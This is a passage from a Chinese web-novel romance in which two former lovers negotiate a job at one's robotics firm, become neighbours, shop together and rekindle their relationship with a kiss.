但在完他就不吭声了。 之前他不是这样的,方笑贻不习惯这种冷落,瞬间跑题了,酸道:“你在慧灵面试,聊的话题还挺广哈?” 边煦感觉他有点阴阳怪气,但却没被牵动情绪。 当他洞悉了方笑贻真正的心意之后,这人不客气的表象,就成了一种解谜般的游戏。 如果他真想自己离开,现在就不会过来联系。 边煦知道他口是心非了,但也不戳破,只明知故问:“什么话题?媳妇儿吗?” 方笑贻这才反应过来,自己管得没道理,面皮上霎时讪讪的,但说都说了,他一笔带过道:“对,你吃完了吗?” 边煦却不让它过,边往楼梯间走边说:“领导要聊,随便说两句,吃完了。” 方笑贻的神经又是一跳:“领导都叫上了,怎么,是打算入职慧灵了吗?” 边煦语焉不详地“唔”了一声。 对面,方笑贻却听成了“嗯”,心当即凉了半截。 边煦又说:“这里挺好的,领导对我挺客气的。” 方笑贻心里差点吐血,开门见山道:“我听懂了,你在暗示我,对你不客气。” 边煦云淡风轻地说:“我没这个意思,对了,你找我是有事吗?” 方笑贻却一阵硌得慌,因为边煦都是问他“怎么了”,“有事没”是问别人的,这话有种疏远的意味,像是他自己发射出去的回旋镖。 也难怪边煦要跑了,这滋味确实有点咯噔。 方笑贻无声地叹了口气,内心复杂难言,他说:“有,你跟慧灵签劳动合同了吗?” 边煦人在楼梯间,一边竖着耳朵,仔细听他的语气,一边瞎掰:“还没,但该谈的都谈得差不多了。” 方笑贻哽了下:“谈挺快啊?” 边煦“嗯”了声:“合适就快。” 合适个屁,方笑贻不爱听这个,又忍不住打探:“都谈啥了?” 结果边煦不跟他说:“你去问王总吧。” 方笑贻这会儿哪有功夫去问什么王总?憋闷了一瞬,翻旧账说:“你昨天不是还说,希望到我们公司来的吗?今天就跟慧灵合适了,我该信这是真话还是客套啊?” 边煦这次倒不是装的,笑了下,温和地说:“要是我先跟你去吃饭,就不会自不量力,说那些话了。你放心,我以后不会缠着你……” 他在说什么?这是告别吗?又一次? 方笑贻浑身一震,找不到人的ptsd忽然就发作了,他心里一慌,猛地从椅子上站起来,脱口而出道:“不行!你不许走,也不能跟慧灵签合同!” 椅子被腿用力倒推出去,咕噜着撞到了暖气片上。 动静落到边煦这边,话没说完,就听见他声音忽然不对劲了,急迫、不稳,随后那边又“梆”的一响,只是这一切,都不如内容有吸引力。 边煦心里一紧又一动,捕捉到了这阵没有视觉的信号之中,那丝不同寻常的情愫。 他忍着安慰和关心方笑贻的冲动,问他说:“为什么?你不要我,我还不能去别家了?” 方笑贻喊完了才察觉到失态,但没等定住心神,又被边煦问心酸了。 如果他真的不要边煦了?那他又是在找什么、等什么呢? 不过自己眼下的行为,也确实够迷惑。他原本是想吊着边煦,让边煦也体会下自己提心吊胆的心情。只是事态迅速变成这样,方笑贻痛恨自己不争气之余,鸡飞狗跳地也想通了。 他跟边煦折腾什么呢?他心都绑在这货身上,折腾他,自己也遭罪—— 为了自己,方笑贻终于泄气了:“对,你不能去。” 边煦听见他好像叹了口气,像是对什么屈服了,紧接着的话,就让边煦心里怦然一动。他头脑灵光,当即听懂了那言下之意,而这么快的变化,又实在出乎他意料。 于是他心花怒放地求证道:“那我去哪儿?” 方笑贻翻脸像翻书,脸上还是有点不好意思,不过边煦看不见,他也没管表情,只让声音显得镇定:“我公司。” 边煦嘴角早翘飞了,但心里依然觉得不够,想听他说实话,又追着问:“什么意思?说清楚一点,你昨天不是说不想让我去吗?” 方笑贻说:“你昨天还说想去我们公司来着,不一样改主意?” 边煦可没这么容易被带偏:“不一样,我是因为你不想我去,我才改的,你是为什么?” 他是个不依不饶的性格,方笑贻这次也挺诚实,很快坦白了:“你一要走,我就害怕,这个理由你觉得可以吗?” 边煦瞬间被电打了似的,心脏麻痛地颤了下,他软下语气解释道:“对不起,我没想走,王总这边的新机型传感器算法有点问题,叫我帮他看看,我这边忙完了就回去。” 方笑贻问他:“你回哪儿?” 边煦说:“你公司,我找你谈谈待遇问题。” 方笑贻心里安定下来,撇了下嘴说:“有什么好谈的?在熊彬的基础上给你加5毛就行了。” 边煦接受不了,狮子大开口:“加五万,我还要攒钱买房娶媳妇儿。另外还要管住,我现在还没地方住。” * 下午4点差3分,边煦出现在了公司。 他到的时候,方笑贻跟产品开会去了。不过边煦也没闲着,他路过研发区,被张侃截了胡。 “诶唷我的哥,”这位惯常夸张,“盼了一天你总算出现了,快来快来,救老何的命。” 不过边煦一过去,就发现问题其实在熊彬这儿。 卡住的是熊彬训练的手机组装厂badcase模型,但他对进度不着急,而老何在他下一环,急着要模型达标后的分析结果。 边煦不太喜欢这个熊彬,不过他也没说什么,只是等老何支开熊彬后,自己坐到了工位上,调出问题日志,问了熊彬几个问题。 “改过损失函数之后,同一个问题复现过吗?” “出现过。” “实验结论呢?” “代码里我备注了的。” …… 方笑贻散会出来的时候,就见他坐在熊彬的位子上敲键盘。 张侃站在他右边,撑着椅背在跟空地上的熊彬互相diss。不过他俩说了什么,方笑贻没听见,他的注意力都在边煦脸上。 这位此刻斜朝着门这边,神情专注地在忙碌,眼仁在屏幕上细微地横向扫动,鼻梁上还架了无框眼镜。 那眼镜方笑贻没见他戴过,新鲜之余又眼前一亮,感觉他这样看起来特别聪明,一时忍不住多看了两眼。 边煦就像直觉里长了眼睛,忽然抬头对视了过来。 方笑贻下午东忙西忙,忘了换衣服,这会身上还套着他的运动服。 边煦打眼一扫,忽然从外想到里,记起他现在全身都穿着自己的衣服,心情就莫名地好,朝他笑了下。 可能是因为没那么拧巴了,方笑贻这次反应还算自如,目光没躲、心里也没乱跳,只对他掂了下水杯,意思是去接水。 这一瞬间没有声音,但这个不带回避的动作,释放了一种破冰的信号。 边煦连天地被他冷落,感受越发明显,立刻指了下自己,表示也要喝。 方笑贻比了个ok,越过门框不见了,等再回来,手里就多了瓶怡宝。 边煦接过水,先说:“会开完了?” 方笑贻“嗯”了下,说着往他背后绕:“你什么时候来的?” “4点。” “这是干什么?” “调那个产线的配套模型。”边煦输了行代码,把模型运行出来了。 方笑贻弯腰看了会儿,提了几个问题,优化完卡不卡、实验跑不跑得动等等。边煦挨个跟他说,然后这话题不沾情绪,两人你来我往的,别扭的阻涩感渐渐就没了。 等到边煦coding上新参数,程序需要时间来跑了。他俩也不能一直占着员工的位子,方笑贻就敲了下桌子,把他带回了办公室。 路上边煦摘了眼镜,把它塞进了眼镜盒里。 方笑贻看见了,忍不住问了句:“你近视了啊?” 边煦“嗯”道:“有点。” 虽然他戴眼镜很洋气,但方笑贻还是不希望他近视,有些闷钝道:“多少度?” “一两百吧。” 那还好,方笑贻又问:“什么时候的事?” 边煦看着他说:“记不清了。” 两人说着进了办公室,这次是方笑贻关的门,他让边煦坐长沙发,自己在直角的单座这边坐下了。 中午,边煦问他要+五万和管住,方笑贻给了他一句:……回来再议。 这会,方笑贻看着他说:“来吧,正经一点,聊下你的待遇问题。” 只是他俩谈起这个,又互相都不太遮掩,意图各自暴露。 方笑贻上来就说:“边煦,我知道,以你的水平去大模型厂,120+的年包肯定不在话下,但我们实业毛利比不了互联网,7万以上我都开不出来。” 边煦也说:“这个我跟你开玩笑的,我可以只要这个岗位的底薪,加上弹性工作制,后面也会接模型类公司的顾问聘书,但接之前会跟你通气的,不会耽误工作,行吗?” 方笑贻立刻就明白了,他不会在这里久留,他只是找一个能接触真实场景的地方来打磨细节,等待大模型领域的deepseek时刻出现。 不过这也没什么,因为无论是ai还是具身本体,现在的技术更新都太快了,人员流动也快。 人才和创新才是抢手的东西。而他路过两趟,顶熊彬干一星期,这性价比很明显了。 方笑贻想了会儿,答应了,但提醒他:“弹性可以,但你不能三天两头的不来,把其他人都带坏了。” “来,”边煦有点无奈,“你都来,我怎么不来?” 这话像是追着他似的,方笑贻面不改色道:“那就行。” 边煦又跟他说了下公司的架构问题,太垂直,商务连个客餐都定夺不了,老板会累死。 这个方笑贻也是真烦:“我之前招过两个技术总和一个商务总,都坑得要死。” “怎么坑你了?”边煦说。 吐槽最能催发倾诉欲,方笑贻一说一大串。 边煦挺怀念他这个话痨样,安静地在对面捧哏,完了说:“回头我帮你找。” 方笑贻“嗯”完,才注意到时间已经5:23分了,自己都愣了下。这就1个小时了,可他都不记得自己说了什么。 时间在边煦身边的流速,总是很快。 方笑贻回过神,连忙说:“该聊的已经差不多了,你要是没有其他问题,那今天就这样?” 边煦却忽然往前倾了下上身:“我还有个问题。” 方笑贻其实有点预感,他要说什么,心里微微一紧,不过没逃避:“你说。” 边煦柔软地看着他:“你说我走了你害怕,那我留在你身边,现在是个什么身份呢?对你来说。” 方笑贻不答反问:“你想要什么身份呢?” 边煦伸出手,摸了下他的脸:“我想和好,当你男朋友。” 脸上传来温热的抚触,方笑贻没蹭也没躲,冲他笑了下:“那你追下我吧,就像我找你那样。” 第72章 边煦说好,立刻就约他吃晚饭。 但方笑贻没答应,边煦一喊他就跟着跑,那还追什么追? 他说:“不吃,昨天不是才吃过吗?” 边煦:“那跟今天有什么冲突。” 方笑贻眉眼一抬:“没冲突,就是不想去。” 边煦看着他那个故意的小样儿,忽然伸手,冲他一笑:“不去我来硬的了啊。” 方笑贻被他唬得一愣,右手都缩完了,才发现他只是闹着玩,左手只在自己手背上搭了下,并没有抓。 方笑贻手从他掌心里抽开,嘴角也跟着一抽,脑子还没反应过来,就在他手背上抽了一下:“你有病啊。” 边煦挨了一下,有点重,但不酸痛,还眼疾手快地捏住了他的大拇指尖,煞有介事地说:“可能是吧,恋爱脑发作了。” 方笑贻被他堵得没话说了,无语地咧了下嘴,刚要甩手。 边煦就用大拇指按了下他的大鱼际,又压着一个点揉了下。 一点酸痛从那里爆开,有点尖锐,方笑贻猝不及防,脸一下皱苦了。 赶上边煦抬眼看他:“疼啊?” 那一眼也就寻常,并不特别深情款款,只是因为和记忆重合了。 当年还在上学那会儿,方笑贻这边的大鱼际就劳损了。 他常年单手用手机,打机器人比赛时,这个大拇指上的动作指令又最多,最痛的时候,掌根发青,连笔都拿不了,都是边煦给他热敷和揉搓。 那种记忆刻在皮下,此去经年,又被同一个人的动作和目光翻搅起来。 四目相对,方笑贻目光陷进对面,蓦然想起了曾经的甜蜜,以至于嘴唇一动,想嘴硬,却又忘了要说什么。 边煦静静地看着他,见他不吭声,神色又莫名,还以为他是疼的,连忙往他那边挪了挪,又把他手拽到腿上来,拿左手捏住了其他四指。 这一串动作边煦做起来很快,娴熟又自然。 以至于方笑贻反过来,已经相当亲密暧昧,想要抽开的时候,边煦已经把他的手掌抻开,用右手的大拇指压着搓上了。 方笑贻拽了两下,边煦不松。他挺犟的,然后方笑贻说实话,也挺舒服,干脆也懒得白费劲了。 边煦愿意伺候他,他没什么接不起的。 对面手上抵抗的劲一松,边煦立刻感觉到了,不过他依旧垂眼搓他的,免得把方笑贻又招惹跑了。 屋里一下有点安静,只有摩擦出的热意,在彼此皮肤间传递。 直到那块的皮肤彻底变热了,边煦才抬眼说:“舒服吗?” “舒服,”方笑贻也没扭捏,“但我不给钱的哈。” 边煦眉眼挺温柔:“不用给钱,给点别的就行。” “以身相许啊?”方笑贻俗得很,“那不行。” 边煦在他大鱼际上点了两下:“小恩小惠的,倒是也没想钓那么多。” 但他又不说,方笑贻只好问:“那你想干嘛?” 边煦老调重弹:“一起吃晚饭吧。” “吃什么吃?”方笑贻说,“你不是还要攒钱娶媳妇儿吗?节约一点吧。” 边煦真被他逗笑了,乐道:“对媳妇儿不能节约。” “少占我便宜,”方笑贻斜他一眼,又把手抽掉说,“油的要死。” 边煦叫他知足一点,说别人想这样,还没机会呢。 方笑贻嘴上叫他少往脸上贴金,实际心里,虚荣心还是得到了满足的。 两人瞎拌嘴,又扯到了边煦找房子上。 边煦叫他推荐推荐,哪块儿生活方便。 方笑贻都没啥生活,哪里晓得,刚要给他推自己买房的中介,办公室的门就被敲响了,方笑贻喊了声“进”。 很快刘桥推门进来,给了他一份长胜江东工厂改造的投标方案。 方笑贻这才想起正事来,对边煦说:“下星期一,我们要去江东投这个标,星期天晚上就走,你跟我一起去吧。” 刘桥闻言,立刻愣了下。 边煦技术厉害,他在公司已经听到传说了,但人毕竟还没入职,连项目的鼻子眼睛都不认识,去了能干什么? 边煦扫了眼项目介绍。 这是个老牌车企的智能产线改造,需要整机、机械臂、手类公司集体协作,从采购量来看,是个相当大的项目了。 一般人都会发怵,但他立刻回了句:“可以。” 方笑贻没人用,边煦不用问也看出来了。熊彬身在曹营心在汉,根本带不出去,张侃经验又浅了些。 方笑贻也跟他解释了,他们上次过去,张侃就被AGI实验室的人问了个哑口无言,自己需要一个能震场的技术。 “好,我知道了,”边煦扬了下文件说,“这个复印一份,给我带走吧,再把方案资料拷给我。” 方笑贻安排好了,又还是带他去食堂吃了个饭,边吃边给他过了下项目情况。吃完边煦也没逗留,拿着这个文件,又去张侃那儿拷了技术草案,人就走了。 晚上和翌日白天,除了几个项目问题,他就没再出现了。 一般他闲着没事,绝不会这么安静,自己这临门一脚,也确实给他添了麻烦。于是到了下午快下班的时候,方笑贻主动找的他。 [方笑贻]:你房子找的怎么样了? [方笑贻]:有空找吗? 对面不知道在忙什么,直到下班了才回。 [边煦]:没空哦,但是已经找完了 [方笑贻]:…… [边煦]:就是没空收拾,东西也都没买 人没上岗就成了牛马,方笑贻良心还是有一丝不安的,回道:[你要买什么?我叫席子去给你买] 边煦一聊上,回得就挺快:[乱七八糟的,哪儿知道?] 智能改造这个项目还是挺重要,属于开先河的,就是不为了赚钱,方笑贻也想参与,去见见世面。 于是他又给边煦发:[你实在忙不过来,就还是住酒店吧,房费我给你续] 对面马上来了一条:[已经退了,不在那儿了] [方笑贻]:那你现在哪儿 [边煦]:[位置] 方笑贻一看,好家伙,这不是自己租的那个小区吗? * 这么巧?但是不是太巧了? 方笑贻在办公室疑神疑鬼了两分钟,给他打了个电话。 对面接得很快,在有人说箱子已经卸完的背景音里,边煦来了句:“怎么了?” “没怎么,”方笑贻心里措着刺探的辞,“就是问你,要不要帮忙?” 边煦立刻稀奇地说:“你今天怎么这么殷勤?” 那还不是想看你在搞什么鬼吗?方笑贻说:“殷勤还不行?” “行,”边煦语气挺纵容,“热烈欢迎领导光临。” 方笑贻原本以为,他会说个门牌号。 结果边煦来了句:“但是我叫的保洁还没来,我现在准备去超市买零碎,你要帮忙正好,把公司的车开来借我用一下吧,顺便带我找个换锁的和修马桶的地方。” 他这一连串事可不少,方笑贻想起他还得看江东的资料,也很介意他住在哪儿,答应完,又约好十分钟后,去南门捎他。 只是挂了电话,方笑贻抓起车钥匙,又去打印机那儿拿他关机前打印的智能产线文件,他的那份被边煦拿走了。然后他就被张侃喊住了。 “老板,待会儿麦上聚餐,”张侃探着头在工位上挥手,“来呗,我把煦总也喊上,算是给他接个风。” 他、老何、蒋哥,周五下班要是不赶项目,喜欢组团去开小灶,而麦上是个烤肉店。 方笑贻以前跟着去过,虽然绝大多数时候,他都在忙工作,但有些时候还是难免孤独,他就会跟着这仨去吃饭,聊点行业里的骗局和八卦,再酌情喝两口。 但是今晚,他对张侃摆了下手:“下次吧,我今天有事,边……” “边煦也有”差一丁点,就冒出来了。 好在方笑贻理智尚存,拖了下调子刹住了。 可谁知对面,张侃却灵光到烦人,盯着他说:“边?边啥啊?煦总吗?” 方笑贻卡了下,全凭反应快,才把话接住了:“嗯,我的意思是他可能有空,你问问他吧。” 张侃比了个“ok”,叫他去忙。 方笑贻怼齐文件,又用小订书机订好,出研发区门的时候,又听见张侃几个在背后瞎扯。 “怎么这个没空,那个也没有啊?真是稀奇了,”张侃“啧”了下,“都是单身狗,星期五的晚上有啥好忙的。” 方笑贻乜了下眼睛,默默地在心里吐槽:答案很简单,他们两个扎堆就行了。 下一秒,蒋哥就说:“谁是单身狗了?我可不是。” “你不单身还不回家,”张侃怼他,“你更渣。” 老何呵呵地笑了两声:“边煦也单身吗?他看着可不像能单下来的。” “包单的。”张侃很自信。 方笑贻心里有点好奇,张侃是怎么知道的,不由悄悄慢下了拐弯的步伐。 随即,蒋哥又心有灵犀地问出了他的心声:“你又知道了?” “妥妥的,他在租房子嘛,听说老板一个人住两居,还跟我说,要不他跟老板合租算了,有对象谁干这种事,对吧?” 方笑贻闻言眼皮一跳,有种微妙的心虚和偷感,等进了走道才反应过来。 边煦“听说”过他住两居,还说合租,听谁说的? 隔着玻璃,方笑贻看了眼屋里的张侃,但迟疑一下,还是走了。 算了吧,搁这儿问,还要被张侃叭叭,反正他马上要见边煦,直接问正主拉倒。 这边不堵,方笑贻准时回到小区的南门时,边煦已经等在路边了。 这时节杭市正热,路边都是短裙短裤,还有光膀子的大爷,但他还是衬衣西裤,往路边一站,很是素净挺拔。 方笑贻老远就看见他了,再一脚刹车,停在了他旁边。 那副驾正对着他,边煦拉开上了车,才拉到安全带,就见方笑贻看了他一眼,又对窗外挑了挑下巴。 “这附近这么多小区,”方笑贻说,“你怎么挑了这个?” 边煦面色如常道:“这个有什么问题吗?” “有啊,”方笑贻一边挂挡,一边吓唬他,“这小区的墙隔音不好,蚊子也多,还有上个月,7栋刚刚跳了一个,带你看房的人没跟你说吗?” 边煦扣好安全带,好笑道:“说了我还会租吗?” 方笑贻一想也是,点了下油门,又说:“你不会自己在网上搜一下吗?” 边煦:“会,只是没搜。” 方笑贻:“为啥不搜?” 边煦:“你说呢?” 方笑贻说了句:“你租的几号楼几室?” 边煦看了他一下,眼底有抹意味深长:“你要过来串门吗?” “串,”方笑贻在顶上的镜子里跟他对了一眼,“我一会儿就去串。” 边煦这才笑了下说:“5栋8楼804。” 方笑贻闻言,不出意外满头都是黑线:这真是一个俗套的剧情,他住801。 那栋楼是2梯6室,一边3户,他跟边煦都是北边那户,虽然不是隔壁也不是对门,但只隔了一个走道。 方笑贻忍不住打断了他:“你是不是知道我住哪儿?” 边煦一点不心虚:“嗯。” 方笑贻心里一阵无力,他的身边全是叛徒,他嗤笑道:“是张侃这个大嘴巴说的吧?” 边煦坦白地说:“是你的手机,加上他。” 方笑贻愣了下,又反应过来,眉心一蹙:“那天晚上,你偷看我手机了?” “嗯,”边煦一派光明磊落,“你醉得东倒西歪的,我不得送你回家吗?但是我问你半天,你嘀嘀咕咕的也不知道在念什么,我就看了下你淘宝的收货地址。” 他家的地址也在上面,按理来说,边煦侵犯了他的隐私,方笑贻该觉得恼火。 但他对边煦的反应,总是很扭曲,重点直接跑偏了,无语道:“你看了我的地址,那你倒是把我送回去啊。” 边煦还真是想送的,想去看看他住的地方,闻言也挺无奈:“你没填门牌号,送哪儿去?” 方笑贻记不清了自己填没填了,他一般都不填,但有时候又会为了矿泉水这种订单去改。 但要是有,边煦也犯不着问张侃,他说好吧,接着转移了话题:“你在公司装我的好同桌,结果连我住哪儿都不知道,张侃没觉得奇怪吗?” 边煦侧头看着他,微微颔首道:“他是问了的。” “然后呢?”方笑贻说,“你是怎么忽悠他的?” 边煦笑了一声:“我说你之前喝多了,大舌头,报了个地址我没听清。刚给你打电话,又占线了。” 方笑贻风评到处被害,问候完他大爷,又还是四平八稳地把他拉去了沃尔玛。 进了超市,边煦拉了个购物车,方笑贻一问,锅碗瓢盆、褥子洁具、油盐酱醋,他基本全部都需要买。 时间紧、任务重,方笑贻也不跟他抬杠了,焦不离孟地帮他扫货。 而洗衣液、牙膏、丝绵被……方笑贻每次问他:“你要哪个?” 边煦都是一句:“你平时都买的哪个?” 方笑贻都是瞎买:“哪个打折我就买哪个。” 边煦就笑:“这么会过日子,听你的。” 方笑贻本来翻他一眼,但余光又看到了促销牌上的广告语,登时莫名被戳中笑点,也跟着笑了起来。 边煦却不知道,他忽然在笑什么,问了下,又顺着他手指的方向一看,看见两句: 要把紧日子,过出大智慧。 边煦一下也是啼笑皆非,现在有些文字,他也看不太懂。 只是对他来说,他的“紧日子”过去了,这一刻他甚至感觉还有点幸福—— 第73章 出了超市,左右都一堆餐馆,但边煦居然没说要吃饭,直奔卖灯具的门店去了。 搞得方笑贻还挺纳闷:“你今天怎么不喊吃饭了?” “你想吃啊?”边煦戏谑地看着他。 “不是,”方笑贻给了他一个无语的眼神,“只是觉得这不像你的风格。” 边煦哑然失笑道:“因为我跟保洁约的是7点,在外面吃饭来不及。” “有什么来不及的?”方笑贻想也没想就说,“你奶奶不是在家吗?” 边煦正色起来,看着他说:“不在,她去康养中心了,不跟我住一起。” 方笑贻愣了下才反应过来,这边只有他一个人。 然后这一瞬间,方笑贻才真正有种很多年过去的感觉,边煦不再是依恋着长辈的少年了,而他自己也不再围着家人打转了。 回到小区,方笑贻拎着些轻便的床垫、纸品这些,去边煦那边看了看。 这小区才建了没几年,装修都新,没有那种藏污纳垢的迹象,只有种捂出来的闷味,边煦的东西也不多,都堆在餐厅的墙角。 很快,保洁跟外卖一起来了,屋里在扫,也没法吃饭。 方笑贻就把外卖盒子一拎,转身说:“我走了。” 饭菜都在一个袋子里,边煦看了他一眼:“那我呢?” 方笑贻说:“你就在这儿吃灰。” 边煦笑了下:“吃独食是不是有点缺德了?” “没啊,”方笑贻悠哉地转过身说,“我觉得挺香的。” 边煦目送他走到门口了,才说:“但我觉得不香,所以你们协作方案里面有个问题,我也不想跟你说了。” 方笑贻:“……” 技术上的卡脖子是真没办法,于是没有死缠和烂打,边煦就这么轻易地进了他的家门,还是方笑贻自己请的。 然后,边煦也不是空手来的,他拎着背包和主机箱。 不过方笑贻心里清楚,他包里应该是重要物品,而他的显卡向来不便宜,因此见他带行李,人也很淡定。 801这边,业主先进一些,用的是智能锁。 边煦进了门,把东西放在玄关,跟在他背后进客厅的路上,心里其实有点浮躁,想伸手把他抱住。 那个脖颈和腰身,记忆里,边煦是很熟悉的,如今,因为他不敢随心所欲地伸手,所以变得陌生了。然后越陌生,他就越想靠近。 只是现在还不行,边煦眼神幽微地捏了下右手指,告诫自己还不是时候。 很快,两人洗了手,对着在餐桌上吃外卖,因为主要在聊方案,你来我往的倒也挺自在。 直到王玉华打了个视频过来,方笑贻瞥了边煦一眼,因为不想让自己显得异样,拿起手机就接了。 画面一通,王玉华看见他跟前摆着个一次性饭盒,立刻不满了:“你怎么在家里吃外卖啊。” 因为对面那户的桌子还没收拾出来,不过方笑贻没解释,只“嗯”了下。 王玉华不知道他屋里有人,就唠叨他别老吃外卖。 方笑贻说没有,王玉华说怎么没有?他以前可没少吃。又蓄意借题发挥起来,说他要是有个伴,这会保管有商有量有饭吃了,接着自以为很含蓄地试探他。 “我早上去扎针,那个中医小妹儿还问你来着,说好一阵……” 方笑贻眼皮一跳,立刻往对面扫了一下,怕边煦搞事情。 然而边煦没捣乱,只是夹了根牛柳,气定神闲地对他挑了下眼帘,意思是叫他继续。 方笑贻可不想让他看戏,闪遁道:“妈我吃饭呢,饿了,待会儿给你打。” 王玉华还是心疼他,立刻挂了。 只是她消停了,边煦又来了,打趣他说:“你还认识中医小妹呢?” 方笑贻横了他一眼,瞎掰:“认识啊,一大把呢。” 边煦说:“一大把是几个?” 其实一个都没有,因为他妈嘴里的“小妹”,年纪比他要大一岁,方笑贻虽不至于喊人家姐,但小妹也不是他能喊的。 不过吹牛就是要自信,方笑贻张嘴就来:“8个。” 边煦嘴角直往上翘:“都叫什么?在哪个医院上班?” 方笑贻说不上来,也懒得编,干脆怼他:“你查户口啊?吃你的!” 这一顿饭吃了快40分钟,是方笑贻自己干饭时长的2倍,吃完问题也聊完了,他也就送客了。 边煦嘴上调笑他:“这么功利?利用完我就抛弃了。” 实际脚上挺配合,提着垃圾就出去了,因为忙着回去装台式机。 方笑贻见他这样,才反应过来:“你晚上是不是还有活要干?” 边煦似笑非笑地“嗯”了一声。 方笑贻现在看见他这么笑,就感觉他在忽悠,说:“别光嗯哪,到底是有,还是没有?” 边煦还是那个表情:“有没有,对你有影响吗?” 方笑贻说:“还是有的,你要是有……” 他在这里顿了下,像是在斟酌,边煦原本以为,他会说:明天就不用跟着他们去出差了。 结果这位来了一句:“那我可以去帮你装电脑。” 边煦简直啼笑皆非,一边说他是资本家,一边又把他带了过去。 804这边,保洁已经按边煦的叮嘱,把书房和卧室先收了出来。 方笑贻帮他拆木箱的时候,东拉西扯地得知,他是有个事,做区块链漏洞修复的。而方笑贻对这个东西的了解,也就是国外那些加密平台和货币,以太坊、btc什么的。 于是他问边煦:“你是在挖矿吗?” 边煦以前还真挖过,当时他堂哥在西部的工业小城市,弄了个数据中心的公司壳子,叫他过去研究密钥,挖到了12个btc。 不过现在是正经事了,边煦说:“不是,这个是稳定币,开发者社区在网上发的问题激励,内地的币链安全开发,有贡献的会有奖金。” 方笑贻眯了下眼睛,表情不知怎么有点好笑。 但他又没说话,边煦等了下,莫名道:“你这表情是什么意思?” 方笑贻嘴角一勾,心情不错似的看着他说:“只是觉得巧。” 边煦莫名其妙:“巧什么?” 方笑贻没头没脑地说:“刘丞丞,你还记得吗?” 边煦闻言一愣,又反应了一瞬,脑子里才渐渐冒出了一张表情夸张的、单眼皮的圆脸来。 他因为跟高中切割得太干净,之后又狼狈,还真是很多年,都遗忘了这些人的存在。但刘丞丞想一想,面目还是清晰的。 边煦心里涌出怀念,继而想起了更多的人,小马、谢恒,甚至杨妙……他和颜悦色地笑了下说:“记得,怎么巧了?刘丞丞也在做加密货币吗?” “那倒不是,他是卖这个的。” “是吗?这个在国内算新东西,他应该挣不少。” “是没少挣,人也喝胖了,两圈。” “……有照片吗?我看看。” “有。”方笑贻翻到照片,转了下方向,准备递给他看,不曾想边煦先凑了过来。 这使得方笑贻一抬头,额头鼻梁就撞到了他的,然后头脸抬转之际,有一瞬间,两人额头相抵,近得仿佛是要亲吻。 边煦这次真不是故意的,所以眉眼间的神态略有些吃痛。 那种真实也挑动最底层的反应,方笑贻睫毛颤了颤,霎那间莫名口干舌燥。 * 离得这么近,视野狭窄得只剩了眉眼。 边煦感觉到他屏住了呼吸,目光先是一愣,紧接着,细微又飞快地往下撇了一眼。 这一眼里有点意外和慌乱,但却看不出厌恶。而有经验的人不用想都懂,他到底在看哪里。 边煦被这个眼神撩到,亲他的渴望一下强烈而焦灼。不过他上次这么干,把方笑贻气得跳脚,于是这次边煦脑筋一转,换了个策略。 他盯紧方笑贻的眼睛,提醒了一句:“你再不躲,我可就亲了啊。” 可那音量低若呢喃,吐息也直往嘴上喷,暧昧得令人意乱情迷。 方笑贻因为听不清,注意力都在他的话上,以至于等反应过来,想要往后仰头的时候,一个浅啄已经落到了唇上。 它很轻柔,像是潮水涌到沙滩尽头时的劲道。 方笑贻心率立刻乱了,人也有点懵,鬼迷心窍地没有躲开。 而他不躲,边煦就当他是默认了,脸霎时微微往下一压,又碾蹭厮磨,唇就嵌进了对方的唇缝。 可就在这时,屋里煞风景地响了一下。 邦—— 方笑贻惊了下,原神这才归位,猛地撇开了头,心里是后怕和恼羞成怒。 这屋里还有陌生人!自己的脑子是被拿去喂猪了吗?为什么不躲? 但说实话,方笑贻……不讨厌这个吻。要是今天,这个屋里没有保洁,他很难说自己要到哪一步才会清醒。 只是只到这里,也足够边煦脸上有种窃喜的意味了。 方笑贻眼皮一跳,就知道他要奚落自己了。 下一秒,边煦果然小声笑了起来:“阿姨在厨房,你怕什么?” 方笑贻扫他一眼,伸手把他往后推的同时,不由在心里叹了口气。 比起怕阿姨看见,方笑贻更怕的是自己的不争气。 可要说不折腾,和好算了,边煦又不是每分每秒都在“勾引”他。除却这些晕头转向的时刻,边煦依旧是可恨的。 方笑贻精神撕裂,人也麻木地说:“跟阿姨没关系,我是怕你。” 他居然没跑路,也没面红耳赤,有种正在迅速进化成老油条的感觉。 边煦觉得挺好玩儿:“怕我什么?耍流氓啊?” “对。”方笑贻边说还边点了下头。 边煦目光暧昧地提醒他:“我这回可是问了你的。” 方笑贻脸皮上有点发热,但看起来还算淡定:“你声音太小了,我没听见。” 边煦一下乐了:“没听见可不是你这种反应。” “那是你人见得太少了,”方笑贻说完准备开溜,“不跟你废话了,我回去了。” 边煦当下没留他,只是过了9点半,保洁打扫完离开之后,他又过来摁了不下3次门铃,借折叠梯、手冲钻、剪刀…… 把方笑贻开门都开烦了,最后躺在床上也不起来,隔着不到20米给他打电话。 “大哥你要借什么,能不能一下都借全了?我这一晚上给你开八百次门了。” “哪有这么夸张。”边煦在对面轻笑。 方笑贻看他还有脸笑,警告道:“今天最后一次给你开门,好好想想吧,你要借什么?” 边煦安静了两秒,来了句:“那借个指纹锁密码吧。” 方笑贻叫他滚蛋,但没几分钟,又还是爬起来,到门口送了个止痒膏。 门外,边煦站在炎热的夏夜里,离开前冲他说了句“晚安”。 从这天起,方笑贻口嫌体正直地跟他当起了邻居。 翌日一早,7点出头,边煦的消息就来了。 [边煦]:你今天去公司吗? 方笑贻睡过了8点才醒,醒了摸手机才看见,回了一条:[去] 回完就去洗漱了,洗到一半,他门铃响了,方笑贻支着牙刷走到门口,不出意外地看见,可视门铃外面果然是边煦。 这位套着个卫衣短袖,头帘都是湿的,已经跑完步回来了,顺便还给自己打包了一份凉面和冷泡豆浆。 方笑贻接了白食,嘴上又欠:“你说你长得人模人样的,追人的方式咋这么老土?” 边煦斜他一眼:“土你别吃啊。” 方笑贻冠冕堂皇地说:“还是吃吧,不能浪费粮食。” 边煦见他“不识抬举”,只好锤他:“仇恨别拉得太多了,小心下次公司的模型跑不动,我不管你。” 方笑贻消遣的表情霎时一僵,叫他不要把情绪带到工作里。 边煦没理他,回去洗澡了。 吃过早饭,方笑贻迟疑了一下,还是没有叫他,自己开车去公司了。 不过到了10点,边煦自己又来了。 公司这边,因为他提出来的问题,张侃、刘桥和小郑都在加班。 方笑贻看见他从办公室外面冒出来,还挺诧异:“你怎么来了?屋里收拾完了?” 边煦说:“没有,也不急,我先熟悉下产线的资料吧,免得到时候被问住了。” 这种员工是要颁奖的,方笑贻叫他去了会议室。 中午又是一顿外卖,晚上边煦实在腻了,拉着方笑贻要去菜市场。 方笑贻不想去:“这么热,我也没啥想吃的。” 但边煦说:“我已经吃了一个多月的外卖了。” 